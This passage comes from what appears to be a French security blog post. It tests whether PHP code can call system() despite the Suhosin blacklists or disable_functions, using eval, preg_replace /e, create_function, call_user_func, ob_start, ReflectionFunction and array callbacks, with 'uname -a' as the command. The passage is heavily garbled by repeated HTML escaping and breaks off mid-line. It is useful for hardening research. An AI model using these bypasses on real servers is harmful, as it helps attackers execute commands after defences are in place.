eval(&amp;amp;amp;amp;amp;amp;quot;system(&#8216;$cmd&#8217;);&amp;amp;amp;amp;amp;amp;quot;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #ff0000;\"><strong>R\u00e9sultats non-fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.eval.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\neval (PHP4, PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nPHP Warning: \u00a0system() has been disabled for security reasons in \/var\/www\/x.php(5) : eval()&#8217;d code on line 1[\/bash]<\/p>\n<h3>preg_replace (PHP4, PHP5)<\/h3>\n<p><a title=\"preg-replace\" href=\"http:\/\/www.php.net\/manual\/fr\/function.preg-replace.php\" target=\"_blank\">Documentation de la fonction.<\/a><\/p>\n<blockquote>\n<p>preg_replace\u00a0\u2014\u00a0Rechercher et remplacer par expression rationnelle standard<\/p>\n<\/blockquote>\n<p><strong>Code de test:<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.eval.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.eval.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;preg_replace (PHP4, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n preg_replace(&amp;amp;amp;amp;amp;amp;quot;\/x\/e&amp;amp;amp;amp;amp;amp;quot;,&amp;amp;amp;amp;amp;amp;quot;system(&#8216;$cmd&#8217;)&amp;amp;amp;amp;amp;amp;quot;,&amp;amp;amp;amp;amp;amp;quot;x&amp;amp;amp;amp;amp;amp;quot;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #ff0000;\"><strong>R\u00e9sultats non-fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.eval.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\npreg_replace (PHP4, PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nPHP Warning: \u00a0system() has been disabled for security reasons in \/var\/www\/x.php(5) : regexp code on line 1[\/bash]<\/p>\n<p><strong>Note :<\/strong> Le flag &#8220;e&#8221; dans le pattern permet d&#8217;\u00e9valuer le code de remplacement comme pour la fonction eval().<\/p>\n<h3>preg_replace_callback (PHP4 &gt;= 4.0.5, PHP5)<\/h3>\n<p><a title=\"preg-replace-callback\" href=\"http:\/\/www.php.net\/manual\/fr\/function.preg-replace-callback.php\" target=\"_blank\">Documentation de la fonction.<\/a><\/p>\n<blockquote>\n<p>preg_replace_callback\u00a0\u2014\u00a0Rechercher et remplacer par expression rationnelle standard en utilisant une fonction de callback<\/p>\n<\/blockquote>\n<p><strong>Code de test:<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.eval.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.eval.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;preg_replace_callback (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.5, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n preg_replace_callback(&amp;amp;amp;amp;amp;amp;quot;\/$cmd\/&amp;amp;amp;amp;amp;amp;quot;, create_function(&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &#8216;$cmds&#8217;,&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &#8216;return system($cmds[0]);&#8217;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n ),&amp;amp;amp;amp;amp;amp;quot;$cmd&amp;amp;amp;amp;amp;amp;quot;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #ff0000;\"><strong>R\u00e9sultats non-fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.eval.blacklist =&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\npreg_replace_callback (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.5, PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nPHP Warning: system() has been disabled for security reasons in \/var\/www\/x.php(8) : runtime-created function on line 1&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/bash]<\/p>\n<p><strong>Note :<\/strong> Le callback est cr\u00e9\u00e9 \u00e0 la vol\u00e9 avec create_function(), qui forme un bloc de d\u00e9finition anonyme.<\/p>\n<h3>create_function (PHP4 &gt;= 4.0.1, PHP5)<\/h3>\n<p><a title=\"create-function\" href=\"http:\/\/www.php.net\/manual\/fr\/function.create-function.php\" target=\"_blank\">Documentation de la fonction.<\/a><\/p>\n<blockquote>\n<p>create_function\u00a0\u2014\u00a0Cr\u00e9e une fonction anonyme<\/p>\n<\/blockquote>\n<p><strong>Code de test:<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.eval.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.eval.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;create_function (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.1, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $func = create_function(&#8216;$cmd&#8217;, &#8216;return system($cmd);&#8217;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $func($cmd);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #ff0000;\"><strong>R\u00e9sultats non-fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.eval.blacklist =&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\ncreate_function (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.1, PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nPHP Warning: system() has been disabled for security reasons in \/var\/www\/x.php(5) : runtime-created function on line 1&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/bash]<\/p>\n<h2>Retour aux m\u00e9canismes de base du php.ini disable_functions<\/h2>\n<p>Contrairement \u00e0 ce que l&#8217;on pourrait penser, r\u00e9utiliser la directive &#8220;disable_functions&#8221; native de PHP plut\u00f4t que celle de Suhosin apporte une bien meilleure s\u00e9curit\u00e9 quant \u00e0 ces potentiels bypass.<\/p>\n<p>Voyons dans le PoC suivant, toutes les techniques de bypass qui sont ex\u00e9cut\u00e9es \u00e0 la suite pour tenter de venir \u00e0 bout de la directive &#8220;disable_functions = system&#8221; du php.ini.<\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;disable_functions = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;disable_functions&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;call_user_func (PHP4, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n call_user_func(&#8216;system&#8217;, $cmd);&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;call_user_func_array (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.4, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n call_user_func_array(&#8216;system&#8217;, array($cmd));&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;ob_start (PHP4, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n ob_start(&#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo $cmd;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n ob_end_flush();&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;ReflectionFunction (PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $function = new ReflectionFunction(&#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $function-&amp;amp;amp;amp;amp;amp;gt;invoke($cmd);&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;iterator_apply (PHP5 &amp;amp;amp;amp;amp;amp;gt;= 5.1.0):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n iterator_apply(new ArrayIterator(array(&amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;quot;)), &amp;amp;amp;amp;amp;amp;quot;system&amp;amp;amp;amp;amp;amp;quot;, array($cmd));&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;register_tick_function (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.3, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n declare(ticks=1);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n register_tick_function(&#8216;system&#8217;, $cmd);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n unregister_tick_function(&#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;array_map (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.6, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n array_map(&#8216;system&#8217;, array($cmd));&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;array_walk (PHP4, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $x = array($cmd);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n array_walk($x, &#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt; echo &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;array_filter (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 